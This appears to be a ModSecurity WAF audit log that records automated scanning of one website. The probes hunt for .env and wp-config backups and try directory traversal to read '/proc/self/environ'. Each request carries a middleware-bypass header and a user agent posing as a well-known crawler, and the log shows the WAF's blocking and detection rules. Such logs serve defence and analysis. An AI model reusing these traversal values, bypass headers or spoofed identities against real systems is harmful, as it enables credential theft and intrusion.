Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZbQTTJ6xTvcJoem7f5wgAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZbQTTJ6xTvcJoem7f5wgAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZbQTTJ6xTvcJoem7f5wgAAAFI"]
Stopwatch: 1789287233336272 38775 (- - -)
Stopwatch2: 1789287233336272 38775; combined=34178, p1=631, p2=33354, p3=131, p4=10, p5=52, sr=295, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--851fb73d-Z--
--1ab8d42f-A--
[13/Sep/2026:11:13:53.402084 +0300] aqZbQWM7dE9KgIIOpQhxMQAAAMk 34.21.80.87 37232 127.0.0.1 7081
--1ab8d42f-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1ab8d42f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--1ab8d42f-E--
--1ab8d42f-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZbQWM7dE9KgIIOpQhxMQAAAMk"]
Stopwatch: 1789287233396425 5708 (- - -)
Stopwatch2: 1789287233396425 5708; combined=4493, p1=249, p2=4120, p3=78, p4=8, p5=38, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1ab8d42f-Z--
--25bf337f-A--
[13/Sep/2026:11:13:53.421884 +0300] aqZbQWM7dE9KgIIOpQhxMgAAAMI 34.21.80.87 37246 127.0.0.1 7081
--25bf337f-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--25bf337f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--25bf337f-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles/x"] [unique_id "aqZbQWM7dE9KgIIOpQhxMgAAAMI"]
Action: Intercepted (phase 2)
Stopwatch: 1789287233414278 7680 (- - -)
Stopwatch2: 1789287233414278 7680; combined=6123, p1=265, p2=4276, p3=0, p4=0, p5=1582, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--25bf337f-Z--
--ee6f574e-A--
[13/Sep/2026:11:13:53.440813 +0300] aqZbQSsVWymXUono-eRUOwAAABI 34.21.80.87 37260 127.0.0.1 7081
--ee6f574e-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ee6f574e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ee6f574e-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZbQSsVWymXUono-eRUOwAAABI"]
Action: Intercepted (phase 2)
Stopwatch: 1789287233434588 6292 (- - -)
Stopwatch2: 1789287233434588 6292; combined=4713, p1=224, p2=4156, p3=0, p4=0, p5=333, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ee6f574e-Z--
--740c0f3f-A--
[13/Sep/2026:11:13:53.575418 +0300] aqZbQWM7dE9KgIIOpQhxMwAAANU 34.21.80.87 37268 127.0.0.1 7081
--740c0f3f-B--
GET /wp-config.php.old HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--740c0f3f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--740c0f3f-E--
--740c0f3f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZbQWM7dE9KgIIOpQhxMwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZbQWM7dE9KgIIOpQhxMwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZbQWM7dE9KgIIOpQhxMwAAANU"]
Stopwatch: 1789287233540266 35497 (- - -)
Stopwatch2: 1789287233540266 35497; combined=33654, p1=328, p2=33128, p3=92, p4=11, p5=95, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--740c0f3f-Z--
--2c72aa43-A--
[13/Sep/2026:11:13:53.946985 +0300] aqZbQTTJ6xTvcJoem7f5xAAAAEA 34.21.80.87 37280 127.0.0.1 7081
--2c72aa43-B--
GET /config/.env.php HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2c72aa43-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--2c72aa43-E--
--2c72aa43-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/config/.env.php"] [unique_id "aqZbQTTJ6xTvcJoem7f5xAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/config/.env.php"] [unique_id "aqZbQTTJ6xTvcJoem7f5xAAAAEA"]
Stopwatch: 1789287233911431 35692 (- - -)
Stopwatch2: 1789287233911431 35692; combined=33799, p1=313, p2=33217, p3=122, p4=58, p5=89, sr=181, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2c72aa43-Z--
--12a8c532-A--
[13/Sep/2026:11:13:54.023822 +0300] aqZbQjTJ6xTvcJoem7f5xQAAAFg 34.21.80.87 37296 127.0.0.1 7081
--12a8c532-B--
GET /laravel/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--12a8c532-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--12a8c532-E--
--12a8c532-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/laravel/.env"] [unique_id "aqZbQjTJ6xTvcJoem7f5xQAAAFg"]
Stopwatch: 1789287234016454 7436 (- - -)
Stopwatch2: 1789287234016454 7436; combined=5792, p1=365, p2=5278, p3=86, p4=10, p5=53, sr=183, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--12a8c532-Z--
--57e4b97c-A--
[13/Sep/2026:11:13:54.140101 +0300] aqZbQisVWymXUono-eRUPAAAAA8 34.21.80.87 37310 127.0.0.1 7081
--57e4b97c-B--
GET /core/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--57e4b97c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--57e4b97c-E--
--57e4b97c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/core/.env"] [unique_id "aqZbQisVWymXUono-eRUPAAAAA8"]
Stopwatch: 1789287234133351 6822 (- - -)
Stopwatch2: 1789287234133351 6822; combined=5185, p1=366, p2=4676, p3=87, p4=10, p5=46, sr=179, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--57e4b97c-Z--
--f22c9835-A--
[13/Sep/2026:11:13:54.398136 +0300] aqZbQisVWymXUono-eRUPQAAAAo 34.21.80.87 37322 127.0.0.1 7081
--f22c9835-B--
GET /.env.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f22c9835-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f22c9835-E--
--f22c9835-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.php.bak"] [unique_id "aqZbQisVWymXUono-eRUPQAAAAo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.php.bak"] [unique_id "aqZbQisVWymXUono-eRUPQAAAAo"]
Stopwatch: 1789287234364882 33309 (- - -)
Stopwatch2: 1789287234364882 33309; combined=32009, p1=238, p2=31642, p3=65, p4=8, p5=56, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f22c9835-Z--
--a1ce0827-A--
[13/Sep/2026:11:13:54.437364 +0300] aqZbQisVWymXUono-eRUPgAAABg 34.21.80.87 37330 127.0.0.1 7081
--a1ce0827-B--
GET /config.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a1ce0827-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--a1ce0827-E--
--a1ce0827-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/config.php.bak"] [unique_id "aqZbQisVWymXUono-eRUPgAAABg"]
Stopwatch: 1789287234430928 6503 (- - -)
Stopwatch2: 1789287234430928 6503; combined=5178, p1=250, p2=4804, p3=70, p4=8, p5=46, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a1ce0827-Z--
--d97ea348-A--
[13/Sep/2026:11:13:54.481482 +0300] aqZbQmM7dE9KgIIOpQhxNQAAANE 34.21.80.87 37342 127.0.0.1 7081
--d97ea348-B--
GET /configuration.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d97ea348-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d97ea348-E--
--d97ea348-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/configuration.php.bak"] [unique_id "aqZbQmM7dE9KgIIOpQhxNQAAANE"]
Stopwatch: 1789287234475765 5768 (- - -)
Stopwatch2: 1789287234475765 5768; combined=4493, p1=238, p2=4127, p3=68, p4=8, p5=52, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d97ea348-Z--
--740a1418-A--
[13/Sep/2026:11:13:54.936664 +0300] aqZbQmM7dE9KgIIOpQhxNgAAANM 34.21.80.87 37372 127.0.0.1 7081
--740a1418-B--
GET /.env.swp HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--740a1418-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--740a1418-E--
--740a1418-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.swp"] [unique_id "aqZbQmM7dE9KgIIOpQhxNgAAANM"]
Stopwatch: 1789287234930486 6248 (- - -)
Stopwatch2: 1789287234930486 6248; combined=4809, p1=298, p2=4377, p3=87, p4=8, p5=39, sr=148, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--740a1418-Z--
--4115c54a-A--
